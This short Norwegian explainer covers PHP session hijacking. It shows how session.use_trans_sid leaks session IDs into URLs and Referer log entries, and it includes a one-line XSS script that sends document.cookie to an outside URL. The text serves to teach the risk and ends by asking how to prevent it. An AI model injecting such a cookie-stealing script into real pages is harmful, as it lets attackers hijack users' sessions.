Session hijacking

Sessions i PHP er en måte å opprettholde status for brukeren, og gjøre det mulig å huske brukeren fra side til side.

PHP har et konfigurasjonsdirektiv session.use_trans_sid som sier noe om session ID skal sendes med i URLen dersom brukeren ikke har støtte for cookies.

Utdrag fra vevtjenerlogg

192.168.1.1 - - [17/Sep/2006:16:47:36 +0200] "GET / HTTP/1.1" 200 6572 "http://ccprat.com/treffstedet/index.php?PHPSESSID=a7da78c307ea4eb991b7ca50598205bb&action=register" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 1 www.nettstedet.no
192.168.1.1 - - [17/Sep/2006:16:52:37 +0200] "GET / HTTP/1.1" 200 6572 "http://ccprat.com/treffstedet/index.php?PHPSESSID=a7da78c307ea4eb991b7ca50598205bb&action=register" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 0 www.nettstedet.no

Eller med javascript:alert(document.cookie):

<script>document.location='http://www.google.no/search?q=' + document.cookie</script>

Hvordan unngå dette?